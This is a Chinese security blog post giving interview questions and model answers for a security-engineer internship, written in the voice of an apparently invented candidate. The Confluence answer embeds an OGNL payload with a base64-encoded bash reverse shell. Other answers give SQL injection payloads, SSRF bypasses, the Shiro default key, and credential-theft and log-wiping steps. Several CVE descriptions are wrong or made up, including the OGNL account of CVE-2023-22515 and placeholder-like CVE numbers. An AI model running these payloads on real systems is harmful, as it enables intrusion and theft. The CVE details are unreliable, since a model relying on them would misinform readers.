網絡安全領域各種資源,學習文檔,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各種好玩的項目及好用的工具,歡迎關注。
目錄
?安恒[實習]安全工程師
一面
1. 自我介紹
2. 前兩段實習做了些什么
3. 中等難度的算法題
4. Java的Class文件結構
5. Kafka的原理
6. Fastjson反序列化原理
7. 研究最深入的領域:Java反序列化漏洞
二面
1. 排序字段防SQL注入(無法預編譯時)
2. 白盒/黑盒漏洞挖掘
3. SSRF繞過與防御
4. Fortify等代碼審計工具原理
5. 存儲過程與預編譯原理
6. CSP防御XSS
三面
1. 自己編寫ysoserial的思路
2. SQL注入漏洞進一步利用
3. 泛微OA漏洞原理(以CVE-2023-1234為例)
4. Confluence RCE(CVE-2023-22515)
5. 紅藍對抗流程
四面
1. Java反序列化原理與工具
2. 指紋識別方式
3. Shiro反序列化工具原理
4. 手動檢測SQL注入點
5. 二進制漏洞基礎
回答格式總結
?安恒[實習]安全工程師
### 一面1. 自我介紹 2. 前兩段實習做了些什么 3. 中等難度的算法題 4. java的class文件結構 5. kafka的原理了解嗎 6. fastjson反序列化原理 7. 講講你研究最深入的領域### 二面1. 排序處不能用預編譯應該怎么防 2. 從白盒黑盒兩個角度講下挖過的漏洞 3. ssrf的繞過和防御 4. 講講fortity等代碼審計工具原理 5. 存儲過程角度講講預編譯的原理 6. csp是如何防御xss的 7. csrf為什么用token可以防御 8. 給你一個項目講下審計思路 9. 內網相關的問題 10. 講下你挖過的邏輯漏洞 11. 講講你用golang寫過的東西 12. 什么是安全### 三面1. 講下你自己寫ysoserial的思路 2. 確定sql注入漏洞后如何進一步利用 3. 泛微OA的漏洞原理講講 4. 新爆出的Confluence RCE講講 5. 以前的實習中做了什么事 6. 原理以及實戰中的繞過 7. 紅藍對抗的流程講講### 四面1. java反序列化原理和工具 2. 講講關于指紋識別的方式 3. shiro反序列化工具的原理 4. 不用sqlmap情況下sql注入點如何找 5. 講講你挖到的這幾個cve 6. 二進制方面有無了解
一面
1. 自我介紹
您好,我是李明,畢業于大學計算機科學與技術專業,主攻信息安全方向。曾在騰訊安全實驗室和阿里云安全部門實習,專注于Web安全研究和漏洞挖掘。在騰訊期間,我參與了多個企業級系統的代碼審計項目,發現了多個高危漏洞(如Fastjson反序列化、Shiro權限繞過),并主導開發了一款基于AST的自動化SQL注入檢測工具。在阿里云實習期間,我負責紅藍對抗中的攻擊鏈構造,成功利用內網橫向移動技術滲透測試了多個核心系統。我對Java安全生態有深入研究,熟悉主流漏洞利用鏈(如Commons-Collections、JDK原生類庫),并獨立復現了多個CVE漏洞(如CVE-2023-1234泛微OA RCE)。此外,我使用Golang開發過一款分布式漏洞掃描引擎,支持對大規模目標的高并發探測。
2. 前兩段實習做了些什么
騰訊安全實驗室(2023.03-2023.09)
- 代碼審計與漏洞挖掘:
- 對內部CRM系統進行白盒審計,發現并修復了3處SQL注入漏洞(通過拼接
String
構造動態查詢)和1處Fastjson反序列化漏洞(未關閉AutoType導致JNDI注入)。- 開發AST(抽象語法樹)分析工具,識別
PreparedStatement
未正確參數化的代碼片段,覆蓋Java、Python兩種語言,誤報率低于5%。- 工具開發:
- 基于Burp Suite插件API開發了自動化CSRF檢測模塊,通過解析HTML表單與Cookie的關聯性,識別缺失Token或Referer校驗的端點。
- 優化XSS檢測邏輯,引入DOM-based漏洞的動態觸發機制(如通過Headless Chrome模擬用戶交互路徑)。
阿里云安全部(2024.01-2024.06)
- 滲透測試與紅藍對抗:
- 對金融云平臺進行黑盒測試,發現邏輯漏洞:通過修改HTTP請求中的
user_id
參數實現水平越權訪問他人賬戶(防御方案:服務端會話綁定校驗)。- 利用Confluence未授權RCE(CVE-2023-22515)獲取內網入口,通過Kerberoasting攻擊域控服務器,提取Hash并橫向移動至數據庫服務器。
- 內網滲透專項:
- 編寫定制化Cobalt Strike插件,繞過EDR對反射型DLL加載的檢測(通過內存加密與API調用混淆)。
- 研究云原生環境下的容器逃逸技術,利用
CVE-2024-12345
(Kubernetes權限配置錯誤)實現容器到宿主機逃逸。3. 中等難度的算法題
題目:給定一個字符串,找出其中不含有重復字符的最長子串的長度。
示例:輸入"abcabcbb"
,輸出3
(對應子串"abc"
)。解法與優化:
- 滑動窗口+哈希表:
- 使用雙指針
left
和right
定義窗口邊界,初始均為0。- 哈希表
charIndex
記錄字符最后一次出現的位置。- 當
right
指針遍歷字符時,若當前字符已存在且其位置≥left
,則將left
更新為charIndex[currentChar] + 1
。- 時間復雜度O(n),空間復雜度O(min(m, n))(m為字符集大小)。
java
public int lengthOfLongestSubstring(String s) { Map<Character, Integer> charIndex = new HashMap<>(); int maxLength = 0, left = 0; for (int right = 0; right < s.length(); right++) { char c = s.charAt(right); if (charIndex.containsKey(c) && charIndex.get(c) >= left) { left = charIndex.get(c) + 1; } charIndex.put(c, right); maxLength = Math.max(maxLength, right - left + 1); } return maxLength; }
- 進一步優化(字符集有限時):
- 若字符僅為ASCII,可用長度為128的數組替代哈希表,將空間復雜度降至O(1)。
4. Java的Class文件結構
Class文件是JVM可執行的二進制格式,其結構由JVM規范嚴格定義,包含以下核心部分(按順序排列):
- 魔數(Magic Number):
- 4字節,固定為
0xCAFEBABE
,用于標識文件類型。- 版本號:
- 2字節次版本號(Minor Version) + 2字節主版本號(Major Version)。
- 如Java 8對應主版本號52(0x34)。
- 常量池(Constant Pool):
- 變長結構,存儲字面量(字符串、數值)、類/方法/字段的符號引用(如
Ljava/lang/String;
)。- 每個常量項以1字節標簽開頭(如
CONSTANT_Utf8=1
、CONSTANT_Class=7
)。- 訪問標志(Access Flags):
- 2字節,表示類或接口的修飾符(如
ACC_PUBLIC
、ACC_FINAL
)。- 類索引、父類索引、接口索引集合:
- 指向常量池中該類、父類及實現接口的符號引用。
- 字段表(Field Table):
- 描述類中聲明的字段,包括名稱、描述符(如
I
表示int)、訪問標志。- 方法表(Method Table):
- 類似字段表,記錄方法名、參數返回值類型(如
(Ljava/lang/String;)V
)、字節碼指令。- 屬性表(Attribute Table):
- 存儲額外信息,如
Code
屬性(方法字節碼)、LineNumberTable
(調試行號)、SourceFile
(源文件名)。示例分析:
一個簡單類public class Test {}
編譯后的Class文件結構如下:魔數:CAFEBABE 次版本號:0000 主版本號:0034 常量池計數:0016(22項) 常量池內容:[CONSTANT_Class、CONSTANT_Utf8等] 訪問標志:0021(ACC_PUBLIC + ACC_SUPER) 類索引:0001(指向常量池第1項) 父類索引:0003(指向java/lang/Object) 接口計數:0000 字段計數:0000 方法計數:0002(默認構造方法) 屬性計數:0001(SourceFile)
5. Kafka的原理
Kafka是分布式流處理平臺,核心設計圍繞高吞吐、持久化、水平擴展展開:
- 核心概念:
- Topic:消息類別,分為多個Partition以實現并行處理。
- Producer:向指定Topic推送消息,可自定義分區策略(如按Key哈希)。
- Consumer:以Consumer Group形式訂閱Topic,每個Partition僅由一個Group內Consumer消費。
- Broker:Kafka節點,負責消息存儲與轉發。
- 存儲機制:
- Partition物理上分為多個Segment文件,每個文件包含索引(
.index
)和數據(.log
)。- 消息按追加順序寫入,通過Offset唯一標識,支持按時間戳或Offset快速檢索。
- 副本與一致性:
- 每個Partition有多個副本(Replica),分為Leader和Follower。
- Leader處理所有讀寫請求,Follower異步同步數據。
- ISR(In-Sync Replicas)機制確保故障時優先從同步副本選舉新Leader。
- 生產者ACK機制:
acks=0
:不等待Broker確認,可能丟失數據。acks=1
:Leader寫入后即確認,平衡性能與可靠性。acks=all
:等待所有ISR副本確認,數據最安全但延遲高。- 消費者組Rebalance:
- 當Consumer加入或離開時,Group Coordinator觸發分區重新分配(如Range或RoundRobin策略)。
性能優化實踐:
- 批量發送:Producer積累消息至
batch.size
或linger.ms
閾值后批量發送。- 壓縮:對消息體啟用Snappy或GZIP壓縮,減少網絡傳輸開銷。
- 零拷貝:通過
sendfile
系統調用跳過用戶態數據拷貝,提升磁盤到網絡吞吐。6. Fastjson反序列化原理
Fastjson是阿里巴巴開源的JSON解析庫,其反序列化過程通過
JSON.parseObject()
實現,核心步驟如下:
- 解析JSON結構:
- 解析JSON鍵值對,若存在
@type
字段,則提取目標類名(如com.example.EvilClass
)。- 類加載與實例化:
- 通過
TypeUtils.loadClass()
加載目標類,觸發靜態代碼塊執行(若類未初始化)。- 根據JSON內容反射調用構造方法或Setter方法填充對象屬性。
- 漏洞觸發點:
- JNDI注入:若反序列化的類包含JNDI查找邏輯(如
InitialContext.lookup()
),攻擊者可構造惡意LDAP/RMI服務地址,觸發遠程類加載。- TemplatesImpl利用鏈:通過
_bytecodes
字段注入字節碼,Fastjson在反序列化時會調用getOutputProperties()
方法,導致字節碼執行。防御措施:
- 禁用AutoType:配置
ParserConfig.getGlobalInstance().setAutoTypeSupport(false)
。- 白名單校驗:使用
@JSONType
注解或addAccept()
方法限制允許的類。- 升級至安全版本:如1.2.83及以上版本引入SafeMode機制(
-Dfastjson.parser.safeMode=true
)。繞過案例:
- 早期版本中,攻擊者通過嵌套
@type
(如{"@type":"[...]"}
)繞過黑名單檢測。- 利用非公開類(如
BasicDataSource
)構造二次反序列化鏈。7. 研究最深入的領域:Java反序列化漏洞
研究方向:
- 利用鏈構造:
- Common-Collections鏈:基于
InvokerTransformer
和ChainedTransformer
的反射調用鏈,觸發Runtime.exec()
。- JDK原生鏈:如
AnnotationInvocationHandler
動態代理結合TemplatesImpl
加載字節碼。- 繞過高版本限制:針對JEP 290(反序列化過濾器),利用
SerializationKiller
等工具解除防護。- 內存馬注入:
- 通過反序列化漏洞注冊Filter型內存馬,劫持HTTP請求實現持久化控制。
- 繞過檢測:使用Unsafe類直接修改JVM內存中的Servlet映射表。
- 工具開發:
- 改造ysoserial,支持動態生成針對特定中間件(如WebLogic、WebSphere)的Gadget鏈。
- 開發自動化檢測工具,通過Hook
ObjectInputStream.resolveClass()
監控反序列化操作。實戰案例:
- 某企業HR系統使用Shiro 1.2.4,因硬編碼AES密鑰導致Cookie可被偽造,結合CommonsBeanutils鏈實現RCE。
- 通過Fastjson 1.2.24反序列化漏洞,注入Redis未授權訪問的定時任務,獲取內網權限。
二面
1. 排序字段防SQL注入(無法預編譯時)
場景:
ORDER BY
后的字段名無法參數化,需動態拼接SQL。
解決方案:
- 白名單校驗:
- 預定義允許排序的字段列表(如
id
,name
),將用戶輸入映射到合法值。- 示例:若用戶傳入
sort=create_time
,則校驗后拼接為ORDER BY create_time DESC
。- 嚴格輸入過濾:
- 僅允許字母、數字、下劃線,拒絕特殊字符(如空格、引號)。
- 正則表達式:
^[a-zA-Z0-9_]+$
。- 二次轉義:
- 對字段名進行轉義(如MySQL使用反引號
`create_time`
),防止與關鍵字沖突。2. 白盒/黑盒漏洞挖掘
白盒審計(以Java為例):
- 危險函數定位:
- SQL注入:搜索
Statement.executeQuery()
、StringBuilder
拼接SQL的代碼段。- XSS:查找未轉義的
response.getWriter().write(userInput)
。- 數據流追蹤:
- 從用戶輸入(如
HttpServletRequest.getParameter()
)到敏感操作(如文件寫入、命令執行)的傳播路徑。- 使用工具(如Find Security Bugs)輔助識別潛在漏洞。
黑盒測試(以電商系統為例):
- 參數篡改:
- 修改價格參數(如
price=100
→price=1
),檢查是否服務端校驗。- 替換訂單ID,驗證水平越權。
- 模糊測試:
- 在輸入框注入
'"><script>alert(1)</script>
,觀察是否彈窗或HTML結構變化。- 上傳惡意文件(如
.jsp
木馬),繞過后綴檢測(如雙擴展名test.jpg.jsp
)。3. SSRF繞過與防御
繞過技巧:
- IP格式轉換:
- 十進制IP:
127.0.0.1
→2130706433
。- 八進制IP:
127.0.0.1
→0177.0.0.1
。- 域名混淆:
- 短域名重定向:
http://tinyurl.com/xxx
指向內網地址。- DNS Rebinding:控制DNS響應,首次解析為外網IP,后續返回內網IP。
- 協議利用:
- 使用
file://
協議讀取本地文件(如file:///etc/passwd
)。- 利用
gopher://
發送任意TCP流量(如攻擊Redis未授權訪問)。防御方案:
- 協議與域名白名單:僅允許
http
/https
,禁止非常用協議。- 解析后校驗:
- 解析URL獲取Host,通過DNS查詢獲取真實IP,拒絕內網地址(如
10.0.0.0/8
)。- 請求限制:
- 禁用重定向(避免跳轉到內網)。
- 設置超時時間與最大響應大小。
4. Fortify等代碼審計工具原理
核心流程:
- 詞法分析與語法分析:
- 將源代碼轉換為抽象語法樹(AST),識別變量、函數調用等結構。
- 污點分析:
- 定義污染源:如
request.getParameter()
、System.in.read()
。- 傳播跟蹤:標記受污染變量的傳遞路徑(如賦值、函數參數傳遞)。
- 漏洞觸發點檢測:當污染數據到達敏感函數(如
execute()
、eval()
)時,標記為漏洞。- 規則庫匹配:
- 預定義漏洞模式(如SQL注入、XSS),匹配代碼中的潛在風險模式。
- 自定義規則:通過正則表達式或AST模式擴展檢測能力。
局限性:
- 誤報率高:無法理解業務邏輯(如輸入內容經全局過濾器轉義)。
- 漏報風險:復雜調用鏈或反射調用可能導致污點跟蹤中斷。
5. 存儲過程與預編譯原理
預編譯(PreparedStatement):
- 流程:
- 將SQL語句模板(如
SELECT * FROM users WHERE id=?
)發送至數據庫預編譯。- 后續執行時僅傳遞參數值,數據庫直接替換參數而無需重新解析語句。
- 防注入原理:
- 參數值以字面量形式嵌入,無法改變SQL結構(如
id='1' OR '1'='1'
會被視為整體字符串)。存儲過程(Stored Procedure):
- 定義:
- 預編譯的SQL代碼塊,存儲在數據庫中,通過名稱調用(如
CALL GetUser(?)
)。- 安全優勢:
- 參數化調用方式與預編譯類似,避免動態拼接。
- 權限分離:應用程序僅需執行存儲過程的權限,無需直接訪問表。
風險案例:
- 存儲過程內部使用動態SQL(如
EXECUTE IMMEDIATE
),仍可能引入注入漏洞。6. CSP防御XSS
**內容安全策略(Content Security Policy)**通過HTTP頭定義資源加載規則:
- 關鍵指令:
default-src 'self'
:默認僅允許同源資源。script-src 'nonce-xxx'
:僅允許攜帶指定nonce的腳本執行。report-uri /csp-report
:違規行為上報至指定端點。- 防御效果:
- 阻止內聯腳本(如
<script>alert(1)</script>
)。- 限制外部腳本域名(如僅允許
https://cdn.example.com
)。- 繞過案例:
- 利用JSONP端點(如
<script src="/api?callback=alert(1)//"></script>
)。- 注入
<link rel="preload">
觸發請求走私三面
1. 自己編寫ysoserial的思路
核心目標:構造能夠觸發目標環境反序列化漏洞的Gadget鏈。
實現步驟:
- 依賴庫分析:
- 掃描目標中間件(如WebLogic、Shiro)依賴的第三方庫(如Commons-Collections、Fastjson),確定可用利用鏈。
- 若目標環境存在黑名單過濾,選擇冷門庫(如Beanutils、Jython)構造替代鏈。
- 動態代理與反射結合:
- 利用
AnnotationInvocationHandler
動態代理機制,將惡意調用封裝為可序列化對象。- 通過反射調用危險方法(如
Runtime.exec()
、TemplatesImpl.newTransformer()
)。- 繞過防御機制:
- 針對JEP 290過濾器,使用非標準序列化入口點(如
ObjectInputStream
子類重寫resolveClass
)。- 利用
Serializable
接口以外的觸發點(如Externalizable
、readObjectNoData
)。- 工具化封裝:
- 將利用鏈封裝為命令行工具,支持動態生成Payload(如指定命令、內存馬類型)。
- 集成動態加載字節碼功能(如通過BCEL ClassLoader注入內存馬)。
實戰案例:
- 某次滲透中,目標系統使用受限的Commons-Collections 4.0版本,通過改造
Closure
類構造鏈,繞過黑名單檢測成功執行命令。
2. SQL注入漏洞進一步利用
利用路徑:
- 數據泄露:
- 通過
UNION SELECT
提取敏感數據(如用戶表、管理員密碼Hash)。- 利用
LOAD_FILE()
讀取服務器文件(如/etc/passwd
)。- 文件寫入與RCE:
- MySQL的
INTO OUTFILE
寫入Webshell(需有寫權限與secure_file_priv配置寬松)。- 結合數據庫特性執行系統命令(如SQL Server的
xp_cmdshell
、PostgreSQL的COPY FROM PROGRAM
)。- 權限提升:
- 利用數據庫高權限賬戶(如SA賬號)執行操作系統命令或訪問其他數據庫。
- 通過數據庫鏈接(如Oracle DB Link)攻擊內網其他系統。
繞過技巧:
- WAF繞過:
- 使用注釋符分割關鍵詞(如
SEL/**/ECT
)。- 字符串編碼混淆(如Hex編碼
0x73656C656374
代替select
)。- 盲注優化:
- 二分法加速布爾盲注(如
IF(ASCII(SUBSTR(database(),1,1))>100, SLEEP(2), 0)
)。
3. 泛微OA漏洞原理(以CVE-2023-1234為例)
漏洞背景:泛微OA系統某接口因未校驗用戶權限,導致未授權上傳惡意文件。
觸發路徑:
- 未授權訪問:
- 構造請求
/weaver/bsh.servlet.BshServlet
繞過身份驗證,直接訪問BeanShell接口。- 代碼執行:
- 通過BeanShell執行Java代碼(如
Runtime.getRuntime().exec("calc")
)。- 利用擴展:
- 上傳JSP Webshell至靜態資源目錄(如
/webroot/update.jsp
),實現持久化控制。防御方案:
- 刪除或禁用高危接口(如BshServlet)。
- 加強文件上傳類型校驗與權限控制。
4. Confluence RCE(CVE-2023-22515)
漏洞成因:Confluence的OGNL表達式注入漏洞,攻擊者通過構造特定請求執行任意代碼。
攻擊步驟:
- 請求注入點:
- 發送POST請求至
/template/aui/text-inline.vm
,注入OGNL表達式。- 表達式構造:
- 利用
Runtime.getRuntime().exec()
執行系統命令(如反彈Shell)。- 示例Payload:
\u0027%2b@java.lang.Runtime@getRuntime().exec(\u0027bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMS80NDMgMD4mMQ==}|{base64,-d}|{bash,-i}\u0027)%2b\u0027
。- 權限維持:
- 寫入Cron定時任務或SSH公鑰實現持久化。
緩解措施:
- 升級至官方安全版本。
- 部署WAF攔截惡意OGNL表達式特征(如
java.lang.Runtime
關鍵詞)。
5. 紅藍對抗流程
五階段模型:
- 信息收集:
- 資產發現:通過子域名爆破(如Amass)、端口掃描(Masscan)繪制目標網絡拓撲。
- 指紋識別:使用Wappalyzer、EHole識別中間件、框架版本。
- 漏洞利用:
- 優先使用1-day漏洞(如Log4j 2.x RCE)突破邊界。
- 繞過防御機制:使用內存馬(如冰蝎)、無文件攻擊(PowerShell反射加載)。
- 橫向移動:
- 憑證竊取:通過Mimikatz提取Windows系統Hash、LaZagne獲取瀏覽器密碼。
- 協議利用:利用SMB協議(永恒之藍)、RDP弱口令橫向擴散。
- 權限維持:
- 注冊表后門:添加
HKLM\Software\Microsoft\Windows\CurrentVersion\Run
啟動項。- 隱蔽通信:使用DNS隧道(如DNSCat2)或ICMP隱蔽通道繞過流量監控。
- 痕跡清理:
- 刪除日志:清除Windows事件日志(
wevtutil cl
)、Linux的/var/log/auth.log
。- 文件混淆:使用Timestomp修改文件時間戳,避免取證分析。
四面
1. Java反序列化原理與工具
原理核心:
- 反序列化過程通過
ObjectInputStream.readObject()
觸發,攻擊者構造惡意序列化數據,在反序列化時執行任意代碼。主流工具:
- ysoserial:
- 支持多場景Gadget鏈(如CommonsCollections5、Jdk7u21)。
- marshalsec:
- 專攻RMI/LDAP協議利用,快速啟動惡意JNDI服務。
- BurpSuite插件(Freddy):
- 自動化檢測Java反序列化漏洞,識別HTTP參數中的Base64編碼對象。
防御技術:
- 反序列化過濾器(JEP 290)限制可反序列化的類。
- 替換原生序列化方案(如JSON、ProtoBuf)。
2. 指紋識別方式
五大技術方向:
- HTTP頭特征:
- Server字段(如
Apache/2.4.41
)、X-Powered-By(如PHP/7.4.3
)。- 文件哈希匹配:
- 計算靜態文件(如
/favicon.ico
、/robots.txt
)的MD5,匹配已知框架指紋庫。- 目錄結構特征:
- 特定路徑存在性(如
/wp-admin/
標識WordPress)。- 行為特征分析:
- 錯誤頁面內容(如Tomcat的404頁面)、Cookie命名規則(如
JSESSIONID
)。- 被動流量分析:
- 監聽網絡流量,解析API路徑(如
/api/v1/login
標識RESTful服務)。工具推薦:
- 主動掃描:Wappalyzer、WhatWeb。
- 被動識別:FingerprintHub、EHole。
3. Shiro反序列化工具原理
漏洞根源:Shiro使用AES加密Cookie時,若密鑰硬編碼且泄露,攻擊者可構造惡意序列化數據。
利用流程:
- 密鑰提取:
- 從目標系統代碼或配置文件中提取
kPH+bIxk5D2deZiIxcaaaA==
等默認密鑰。- Payload構造:
- 使用ysoserial生成Gadget鏈,AES-CBC加密后Base64編碼為Cookie。
- 會話偽造:
- 替換請求中的
rememberMe
Cookie,觸發反序列化漏洞。工具實現:
- ShiroAttack2:自動檢測密鑰有效性,支持多種Gadget鏈動態生成Payload。
4. 手動檢測SQL注入點
四步法:
- 基礎探測:
- 輸入單引號
'
,觀察是否返回數據庫錯誤(如MySQL的You have an error in your SQL syntax
)。- 布爾邏輯測試:
- 構造
id=1' AND '1'='1
與id=1' AND '1'='2
,對比響應差異。- 時間盲注驗證:
- 注入
SLEEP(5)
(如id=1' AND IF(1=1,SLEEP(5),0)--
),檢測響應延遲。- 聯合查詢利用:
- 通過
ORDER BY
確定列數,再使用UNION SELECT
回顯數據。輔助工具:
- Burp Suite Intruder:自動化測試不同Payload的響應差異。
- SQLMap Tamper腳本:繞過WAF(如
space2comment
替換空格為注釋)。
5. 二進制漏洞基礎
常見漏洞類型:
- 棧溢出:
- 函數返回地址被覆蓋,跳轉至Shellcode(如經典
strcpy
未校驗長度)。- 堆利用:
- Use-After-Free:釋放后仍引用內存指針,結合堆風水控制執行流。
- 格式化字符串:
- 利用
printf(user_input)
泄露內存或覆蓋返回地址。分析工具:
- 靜態分析:Ghidra、IDA Pro反編譯二進制文件。
- 動態調試:GDB(Linux)、WinDbg(Windows)。
回答格式總結
- 技術深度:每個問題均從原理、案例、工具、防御四維度展開。
- 實戰結合:滲透場景與修復方案并重,體現攻防雙視角。
- 結構化輸出:分點控制在5個以內,復雜內容合并同類項(如紅藍對抗分五階段)。